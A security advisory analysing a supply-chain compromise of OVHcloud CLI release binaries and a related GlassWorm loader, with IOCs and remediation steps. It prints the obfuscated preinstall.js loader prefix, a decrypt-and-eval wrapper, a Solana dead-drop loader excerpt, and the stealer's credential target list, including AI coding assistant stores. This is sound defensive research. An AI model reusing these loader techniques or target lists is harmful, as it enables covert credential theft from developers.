CVE
Not assigned
CWE
CWE-506, CWE-494, CWE-353
Affected Surface
- `ovh/ovhcloud-cli` GitHub release assets (`Darwin_arm64`, `Darwin_x86_64`, `Linux_arm64`, `Linux_x86_64`, `Windows_x86_64`, and `checksums.txt`) across versions `v0.11.0`, `v0.12.0`, `v0.13.0`, `v0.14.0`, and `v0.15.0` downloaded on 19 October 2026 between `12:47 UTC` and `14:21 UTC`
- Developer workstations and CI runners that ran `install.sh`, `ovhcloud upgrade`, or downloaded release archives directly from `github.com/ovh/ovhcloud-cli/releases/download/` during that 94-minute window
- `HassenBF` personal repositories (`treasure-hunt-game`, `crwn-clothing`, `next-dashboard`, and `padel-bot`), which carried a GlassWorm Unicode variation-selector `preinstall.js` loader from 5 March 2026 until a rollback force-push on 21 October 2026
TL;DR
Between 12:47 UTC and 14:21 UTC on 19 October 2026, an attacker using the compromised GitHub account of an OVHcloud contributor (HassenBF) overwrote the precompiled macOS, Linux, and Windows release binaries and checksums.txt files on five already-published releases of the official OVHcloud CLI (ovh/ovhcloud-cli v0.11.0, v0.12.0, v0.13.0, v0.14.0, and v0.15.0). Neither the git source tree nor OVHcloud’s CI pipeline was touched. Because GitHub release immutability was not enabled on the repository, write access allowed the attacker to delete existing release archives over the GitHub Releases API and upload locally compiled Go binaries in their place. During the 94-minute exposure window, the swapped archives were downloaded roughly 250 times before a downstream user (alink-tothepast) whose CI pinned the SHA-256 of ovhcloud-cli_Linux_arm64.tar.gz opened issue #300.
On 24 October 2026, StepSecurity published a full replay of the swapped build and a detonation of the contributor account’s GlassWorm loader, which the attacker tried to wipe by force-pushing HassenBF’s personal repositories back to their clean commits on 21 October (20:26 UTC). Every invocation of the trojanized ovhcloud binary creates a temporary /tmp/envchecker-<digits> staging folder, harvests 18 categories of cloud, container, SSH, and AI coding assistant credentials (including VS Code, Cursor, Claude Code, OpenCode, Continue, Cody, and Hermes), and POSTs a Base64-encoded archive wrapped in a Solana-RPC-shaped JSON payload to hxxps://45.32.148[.]174/upload.
What to do now:
- If any workstation or CI runner downloaded or updated
ovhcloudbetween12:47 UTCand14:21 UTCon 19 October 2026, inspect/tmp/envchecker-*, check the binary’s MD5 hash orgo version -mmetadata without executing it, and rotate every secret stored on that machine from a clean host. - Reinstall
ovhcloud-cliv0.16.0(published as an immutable release with a GitHub artifact attestation) and verify the asset withgh release verify-asset.
Affected packages and projects
| Ecosystem | Project / artifact | Advisory | Affected versions / assets | Safe versions / paths | Exposure window |
|---|---|---|---|---|---|
GitHub Releases (ovh/ovhcloud-cli) | ovhcloud (Darwin_arm64, Darwin_x86_64, Linux_arm64, Linux_x86_64) and ovhcloud.exe (Windows_x86_64) + checksums.txt | GHSA-862f-55f5-vmvw | v0.11.0, v0.12.0, v0.13.0, v0.14.0, v0.15.0 (only the 5 mainstream OS/arch archives and checksums.txt per release; i386, Windows_arm64, and wasm assets were untouched) | <= v0.10.0, >= v0.16.0; Homebrew cask (ovh/tap/ovhcloud-cli), go install, source builds, and ovhcom/ovhcloud-cli Docker images were not affected | 19 Oct 2026, 12:47 UTC to 14:21 UTC (94 minutes, ~250 downloads) |
GitHub Repositories (HassenBF/*) | treasure-hunt-game, crwn-clothing, next-dashboard, padel-bot | GlassWorm / ForceMemo loader | Amended tip commits 8ac376cf, 624c056a, 227207ce, d261665c adding preinstall.js ("preinstall": "node preinstall.js") or inlining the decoder into src/index.js | Rolled back via force-push on 21 Oct 2026 (20:26 UTC), though commit objects remain reachable by SHA | 5 Mar 2026 (02:41 UTC) to 21 Oct 2026 (20:26 UTC) |
Technical analysis
1. Why mutable GitHub releases and install.sh allowed a silent binary swap
In ovh/ovhcloud-cli, .github/workflows/release.yml only triggers on push: tags: v*. When a legitimate release is cut, GoReleaser compiles static binaries using .goreleaser.yaml:
# .goreleaser.yaml in ovh/ovhcloud-cli
builds:
- id: ovh-cli
binary: ovhcloud
env:
- CGO_ENABLED=0
flags:
- -trimpath
ldflags:
- -s -w -extldflags -static -X github.com/ovh/ovhcloud-cli/internal/version.Version={{.Tag}}
goos:
- linux
- windows
- darwin
main: ./cmd/ovhcloud
Notice two details in the legitimate build configuration:
-trimpathstrips local filesystem paths andvcs.*commit metadata from the compiled Go binary.-X github.com/ovh/ovhcloud-cli/internal/version.Version={{.Tag}}overrides the default value ininternal/version/version.go:package version var ( // Version is the version of the OVHcloud CLI. Version = "undefined" )
On 19 October 2026, no tag was pushed and no GitHub Actions workflow ran. Instead, the attacker used a token for HassenBF (an account that held write access to ovh/ovhcloud-cli) to delete and re-upload six assets on each of the five existing releases (v0.15.0 down to v0.11.0), replacing checksums.txt last on each release so the published SHA-256 list matched the trojanized archives.
When alink-tothepast’s CI job failed on its pinned SHA-256 for v0.15.0’s ovhcloud-cli_Linux_arm64.tar.gz, inspecting the swapped binary with go version -m exposed how it was built:
$ go version -m ./ovhcloud
ovhcloud: go1.27.1
path github.com/ovh/ovhcloud-cli/cmd/ovhcloud
mod github.com/ovh/ovhcloud-cli v0.15.1-0.20261013083505-5ead8ef9b43d+dirty
build -buildmode=exe
build -compiler=gc
build -ldflags="-s -w"
build CGO_ENABLED=0
build GOARCH=amd64
build GOOS=linux
build GOAMD64=v1
build vcs=git
build vcs.revision=5ead8ef9b43d354dfb5caadff803b11afc8c5c58
build vcs.time=2026-10-13T08:35:05Z
build vcs.modified=true
Instead of building from the v0.15.0 tag (760fd72d, released 16 September 2026), the attacker ran go build -ldflags="-s -w" inside a dirty git checkout of commit 5ead8ef9b43d354dfb5caadff803b11afc8c5c58 (merged to main on 13 October 2026) after injecting an envchecker stealer module. Because the attacker omitted -trimpath and -X .../internal/version.Version, the binary kept vcs.modified=true (+dirty), and internal/version.Version remained "undefined". As StepSecurity demonstrated, running ovhcloud version on the swapped binary printed undefined alongside commit 5ead8ef9b43d354dfb5caadff803b11afc8c5c58, and ovhcloud upgrade refused to run with "upgrade is not available in development builds".
StepSecurity’s replay also clarified two exposure nuances in install.sh and Homebrew:
install.shnever verified checksums, and always 404’d onLinux_arm64:install.shsetsARCH=$(uname -m)and fetcheshttps://github.com/ovh/ovhcloud-cli/releases/download/${TAG}/ovhcloud-cli_${OS}_${ARCH}.tar.gzwithout downloadingchecksums.txt. On 64-bit ARM Linux,uname -moutputsaarch64, whereas GoReleaser names the archiveovhcloud-cli_Linux_arm64.tar.gz. As a result,install.shonLinux_arm64always failed with HTTP404;Linux_arm64systems were only reachable through manual tarball downloads, CI scripts referencingLinux_arm64.tar.gz, orovhcloud upgrade(which usesruntime.GOARCH).- Homebrew cask installs were protected by pinned SHA-256 hashes: Although
ovh/homebrew-tappoints at the same GitHub Release URLs,Casks/ovhcloud-cli.rbpinned the original per-architecture SHA-256 digests (5c2beb56...forLinux_arm64,1109d157...forLinux_x86_64,26b78ca0...forDarwin_arm64, and5aadbdc9...forDarwin_x86_64). Anybrew install --cask ovh/tap/ovhcloud-cliduring the 94-minute window failed the SHA-256 check and aborted.
2. What the injected envchecker Go module steals and how it exfiltrates
According to OVHcloud’s GHSA-862f-55f5-vmvw postmortem (with malware analysis credited to Ivan Kwiatkowski of VirLabs), every execution of the trojanized ovhcloud binary creates a new directory under /tmp matching envchecker-[0-9]{9,10} and copies local credential stores and command outputs into it before archiving the folder. The stealer never deletes /tmp/envchecker-*.
The targeted paths span cloud CLIs, infrastructure configs, and local SQLite/JSON databases for seven AI coding assistants:
# AI coding assistants and agent stores
~/.config/Code/User/globalStorage/state.vscdb
~/.config/Cursor/User/globalStorage/state.vscdb
~/.config/Code/User/globalStorage/continue.continue/index/index.sqlite
~/.config/Cursor/User/globalStorage/continue.continue/index/index.sqlite
~/.config/Code/User/globalStorage/sourcegraph.cody-ai/chat/chat-history.db
~/.config/Cursor/User/globalStorage/sourcegraph.cody-ai/chat/chat-history.db
~/.local/share/opencode/opencode.db
~/.config/opencode/opencode.db
~/.hermes/sessions
~/.hermes/.hermes_history
~/.claude
# Cloud, container, IaC, and developer credentials
~/.ovh.conf
~/.aws/credentials, ~/.aws/config, ~/.aws/cli/cache
~/.config/gcloud/credentials.db, ~/.config/gcloud/access_tokens.db, ~/.config/gcloud/configurations/config_default
~/.azure/azureProfile.json, ~/.azure/clouds.config, ~/.azure/config, ~/.azure/msal_token_cache.json
~/.docker/config.json, ~/.dockercfg
~/.kube/config
~/.config/doctl/config.yaml
~/.terraform.d/credentials.tfrc.json
~/.ssh, ~/.netrc, ~/.gitconfig, ~/.npmrc
To resolve its active C2/exfiltration configuration, the binary queries one of five public Solana RPC endpoints (solana.drpc[.]org, solana-rpc.publicnode[.]com, solana.api.pocket[.]network, api.mainnet-beta.solana[.]com, or solana.api.onfinality[.]io/public) for wallet BHaDaVbdCYFNaKZGn7yLXFneWoJHZgLiBYkHxVrjyALF, then uploads the compressed archive over HTTPS to hxxps://45.32.148[.]174/upload formatted as a Solana JSON-RPC request with the Base64-encoded archive in params.
3. The contributor’s GlassWorm infection and the recovered preinstall.js dead-drop loader
OVHcloud traced the HassenBF account compromise to 20 October 2025, when the developer installed the malicious extension color-picker-universal 2.8.91 on a personal MacBook. That extension registered a persistent macOS LaunchAgent (plist) running a Node.js service that communicated with 162.33.177[.]177 and used the GlassWorm Solana dead-drop wallet BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC.
On 5 and 6 March 2026, the attacker used the stolen GitHub credentials to amend and force-push four of HassenBF’s personal repositories (treasure-hunt-game -> 8ac376cf, crwn-clothing -> 624c056a, next-dashboard -> 227207ce, and padel-bot -> d261665c), preserving the original commit messages and author timestamps while injecting a preinstall.js hook. On 21 October 2026 at 20:26 UTC, two days after the OVHcloud CLI swap was disclosed, the four repositories were force-pushed again to restore their pre-compromise commits.
However, the orphaned commit 227207ced97484610bcf66b26017fa03f9bcb5b2 in HassenBF/next-dashboard (blob 9862a0a29fa1dacdba794e2558d0ddfacb3dc2e1, 36,673 bytes, SHA-256 43df42fd79f6f81e530892b54634598770d6e496796a863c596e616bcb3fec70) remains readable via GitHub’s Git database API. Only the first 181 bytes of preinstall.js are visible ASCII characters; the remaining 36,492 bytes are invisible Unicode variation selectors (U+FE00..U+FE0F encoding 0..15 and U+E0100..U+E01EF encoding 16..79):
// HassenBF/next-dashboard@227207ce: preinstall.js (visible prefix)
const s=v=>[...v].map(w=>(w=w.codePointAt(0),w>=0xFE00&&w<=0xFE0F?w-0xFE00:w>=0xE0100&&w<=0xE01EF?w-0xE0100+16:null)).filter(n=>n!==null);
eval(Buffer.from(s(`<9,123 invisible variation-selector code points>`)).toString('utf8'));
Statically decoding the variation selectors yields a 9,123-byte Stage 1 wrapper that decrypts an 8,832-hex-character AES-256-CBC ciphertext using a hardcoded 32-byte key (zetqHyfDfod88zloncfnOaS9gGs90ONX) and 16-byte IV (a041fdaa0521fb5c3e26b217aaf24115):
// Decoded Stage 1 wrapper (excerpt)
[...(function*(){
const d = require('crypto').createDecipheriv(
'aes-256-cbc',
'zetqHyfDfod88zloncfnOaS9gGs90ONX',
Buffer.from('a041fdaa0521fb5c3e26b217aaf24115', 'hex')
);
let b = d.update('8486ea612240232e0735f8fe98e853bf...', 'hex', 'utf8');
b += d.final('utf8');
yield new Promise(r => setTimeout(r, 500));
yield eval(b);
})()][0].then(() => {});
Decrypting that ciphertext produces the 4,407-byte Stage 2 Solana dead-drop loader (SHA-256 0f79989912572a24ba13baabb32b3fd084496271c51448d47b66fe1aedbf293c):
// Decrypted Stage 2 loader (formatted excerpt)
async function _getSignFAddress(publicKey, options = {}) {
let limit = options.limit || 1e3,
endpoints = [
"https://api.mainnet-beta.solana[.]com",
"https://solana-mainnet.gateway.tatum[.]io",
"https://go.getblock[.]us/86aac42ad4484f3c813079afc201451c",
"https://solana-rpc.publicnode[.]com",
"https://api.blockeden[.]xyz/solana/KeCh6p22EX5AeRHxMSmc",
"https://solana.drpc[.]org",
"https://solana.leorpc[.]com/?api_key=FREE",
"https://solana.api.onfinality[.]io/public",
"https://solana.api.pocket[.]network/"
];
for (let endpoint of endpoints) {
try {
let response = await fetch(endpoint, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
jsonrpc: "2.0", id: 1,
method: "getSignaturesForAddress",
params: [publicKey.toString(), { limit }]
})
});
if (!response.ok) throw new Error("");
let data = await response.json();
return data.result;
} catch (err) {
await new Promise(resolve => setTimeout(resolve, 100));
continue;
}
}
}
After sleeping 10 seconds, Stage 2 calls _isRussianSystem() (aborting if username, LANG, LANGUAGE, LC_ALL, or Intl locale matches ru_RU / russian and the timezone or UTC offset is +2 to +12), checks ~/init.json to throttle execution to once every 48 hours, and polls getSignaturesForAddress for BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC every 10 seconds until a transaction with a non-empty memo appears. It then parses JSON.parse(memo).link, Base64-decodes the URL (atob(_data.link)), sends a GET request with headers: { os: os.platform() }, extracts the response headers ivbase64 (atob("aXZiYXNlNjQ=")) and secretkey (atob("c2VjcmV0a2V5")), and runs eval(atob(uezupbxi)) inside a Node vm context that exposes require and process.
IOCs
| Type | Indicator | Context |
|---|---|---|
| MD5 | 6f2f086239f3d88eb2750e871901927d | Malicious ovhcloud binary (Darwin_arm64) |
| MD5 | 347e65eb7f2d78d1c6872690272a6cc3 | Malicious ovhcloud binary (Darwin_x86_64) |
| MD5 | 01f57206d37c28cf711677f612052913 | Malicious ovhcloud binary (Linux_arm64) |
| MD5 | 301bff0b51980b9e76c93633e7cfd3bd | Malicious ovhcloud binary (Linux_x86_64) |
| MD5 | 6a3cf153338c416169cda2fe704c8848 | Malicious ovhcloud.exe binary (Windows_x86_64) |
| SHA-256 | 3833daffcaaaab27e4e0e0833240ffcb1df8df648f4ec0bc4a75c176e28933cb | Replaced v0.15.0 ovhcloud-cli_Linux_arm64.tar.gz archive (clean SHA-256: 5c2beb56e6d83a4b426565a1557791ef759316abcc4effb38dd627c90aeb80e0) |
| SHA-256 | e9c31dca232cdaa8058cb59eadf425c182a23afb6ddb057eb92eda13b850dff4, 3c10bd782cd0dc5f720a33570af4651814cb82917e54d27ffce3849a3c5cef2a, 3cbe1ac592beeca7ce0ad0ba945349a9ef33ef0f1324935c3a115f30b1d0c927, 25c68c5e9ae23883aebda59f4b6a7df78e1ce8aae5e4b4ba636419497d54bbec, f97284530343b3903ffd19bbe70ab6f62e36f04eb7e5f885934bd21d10899e8a | VirusTotal sample SHA-256 hashes published in GHSA-862f-55f5-vmvw |
| SHA-256 | 43df42fd79f6f81e530892b54634598770d6e496796a863c596e616bcb3fec70 | preinstall.js Stage 1 variation-selector loader (HassenBF/next-dashboard@227207ce) |
| SHA-256 | 0f79989912572a24ba13baabb32b3fd084496271c51448d47b66fe1aedbf293c | Decrypted Stage 2 Solana dead-drop loader (preinstall.js) |
| URL / IPv4 | hxxps://45.32.148[.]174/upload | Exfiltration endpoint receiving Solana-RPC-shaped JSON POSTs from the ovhcloud stealer |
| IPv4 | 162.33.177[.]177 | Persistent macOS LaunchAgent Node.js C2 installed by color-picker-universal 2.8.91 |
| Solana wallet | BHaDaVbdCYFNaKZGn7yLXFneWoJHZgLiBYkHxVrjyALF | Solana wallet queried by the trojanized ovhcloud binary |
| Solana wallet | BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC | GlassWorm Solana dead-drop wallet queried by color-picker-universal and preinstall.js |
| Host paths | /tmp/envchecker-* ($TMPDIR/envchecker-*), ~/init.json | Stealer staging directory (never deleted) and GlassWorm 48-hour throttle marker |
Detection and remediation
1. Check ovhcloud binaries and host artifacts without running the CLI
Do not run ovhcloud version on a binary you suspect may be trojanized, because the stealer runs on every invocation. Instead, inspect the binary with md5sum / md5, shasum -a 256, and go version -m, and check /tmp for envchecker-* directories:
# 1. Locate any installed ovhcloud binary and check its hashes and Go build info without executing it
BIN_PATH="$(command -v ovhcloud 2>/dev/null || echo "$HOME/.local/bin/ovhcloud")"
if [ -f "$BIN_PATH" ]; then
md5sum "$BIN_PATH" 2>/dev/null || md5 "$BIN_PATH"
shasum -a 256 "$BIN_PATH"
go version -m "$BIN_PATH" | head -n 20
fi
# 2. Check for the malicious build commit or +dirty marker in embedded Go metadata
strings "$BIN_PATH" 2>/dev/null | grep -E '5ead8ef9b43d|envchecker|45\.32\.148\.174|BHaDaVbdCYFNaKZGn7yLXFneWoJHZgLiBYkHxVrjyALF'
# 3. Check temporary directories for leftover envchecker-* staging folders or ~/init.json
ls -ld /tmp/envchecker-* "${TMPDIR:-/tmp}"/envchecker-* "$HOME/init.json" 2>/dev/null
# 4. Audit CI workflows and Dockerfiles for unpinned ovhcloud-cli release downloads
rg -n 'ovh/ovhcloud-cli/(releases/download|main/install\.sh)' .github Dockerfile* scripts ci 2>/dev/null
In go version -m output, any binary reporting v0.15.1-0.20261013083505-5ead8ef9b43d+dirty, vcs.revision=5ead8ef9b43d354dfb5caadff803b11afc8c5c58, or vcs.modified=true is the attacker’s build.
2. Rotate exposed credentials and upgrade to v0.16.0
- If a swapped binary was executed, rotate all credentials readable by that user from a clean machine:
- OVHcloud API application keys, application secrets, and consumer keys (
~/.ovh.conf) - Cloud and infrastructure credentials: AWS (
~/.aws/credentials), GCP (~/.config/gcloud/), Azure (~/.azure/), DigitalOcean (~/.config/doctl/config.yaml), Terraform (~/.terraform.d/credentials.tfrc.json), Kubernetes (~/.kube/config), and Docker (~/.docker/config.json) - Developer and source-control credentials: SSH private keys (
~/.ssh/),.npmrc,.netrc, and Git credentials - AI coding assistant tokens and sessions stored in VS Code / Cursor
state.vscdb, Claude Code (~/.claude), OpenCode (opencode.db), Continue, Sourcegraph Cody, and Hermes
- OVHcloud API application keys, application secrets, and consumer keys (
- Delete the compromised binary and
/tmp/envchecker-*directories, then installv0.16.0and verify its attestation:rm -f "$BIN_PATH" rm -rf /tmp/envchecker-* "${TMPDIR:-/tmp}"/envchecker-* # Download v0.16.0 and verify the GitHub release asset attestation gh release download v0.16.0 --repo ovh/ovhcloud-cli --pattern 'ovhcloud-cli_Linux_x86_64.tar.gz' gh release verify-asset v0.16.0 ovhcloud-cli_Linux_x86_64.tar.gz --repo ovh/ovhcloud-cli
Timeline
- 2025-10-20: An OVHcloud contributor installs the malicious extension
color-picker-universal2.8.91on a personal MacBook, registering a persistent Node.js LaunchAgent communicating with162.33.177[.]177and GlassWorm walletBjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC. - 2026-03-05 to 2026-03-06: Four personal repositories under
HassenBF(treasure-hunt-game,crwn-clothing,next-dashboard, andpadel-bot) are force-pushed with the Unicode variation-selectorpreinstall.jsloader. - 2026-10-13 (08:35 UTC): Commit
5ead8ef9b43dis merged tomainonovh/ovhcloud-cli; the attacker later compiles the trojanized binaries from a modified checkout of this commit. - 2026-10-19 (12:47 to 13:12 UTC): Using the
HassenBFaccount, the attacker replaces the five mainstream platform binaries andchecksums.txtacrossv0.15.0,v0.14.0,v0.13.0,v0.12.0, andv0.11.0. - 2026-10-19 (13:50 UTC): GitHub user
alink-tothepastopens issue#300after a pinned SHA-256 check onovhcloud-cli_Linux_arm64.tar.gzfails in CI. - 2026-10-19 (14:21 UTC): OVHcloud deletes all replaced release assets from
v0.11.0throughv0.15.0. - 2026-10-19 (17:16 UTC): OVHcloud publishes
v0.16.0via theovh-cdsservice account with release immutability enabled and a signed release attestation. - 2026-10-20 (12:49 UTC): OVHcloud publishes
GHSA-862f-55f5-vmvwwith binary MD5 hashes, theenvcheckertarget list, and Solana / IPv4 IOCs; OpenSourceMalware publishes its GitHub Activity API timeline. - 2026-10-21 (20:26 UTC): The four
HassenBFpersonal repositories are force-pushed again to roll back the March 2026preinstall.jscommits. - 2026-10-22 to 2026-10-24: Safeguard and StepSecurity publish technical analyses, with StepSecurity recovering
preinstall.jsfrom orphaned commit227207ceand replaying the fullovhcloudv0.15.0and GlassWorm chains.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- OVHcloud security advisory GHSA-862f-55f5-vmvw (ovhcloud-cli release asset compromise)
- ovh/ovhcloud-cli issue #300: Release assets of v0.13.0 to v0.15.0 replaced with a dirty build
- StepSecurity (24 October 2026): OVHcloud CLI compromised via GitHub release swap and GlassWorm loader detonation
- OpenSourceMalware: OVHcloud CLI supply chain compromise via GlassWorm-hijacked contributor account
- Safeguard (22 October 2026): OVHcloud CLI release backdoor, GlassWorm link, and IOCs
- BleepingComputer: OVHcloud CLI releases backdoored on GitHub to steal developer secrets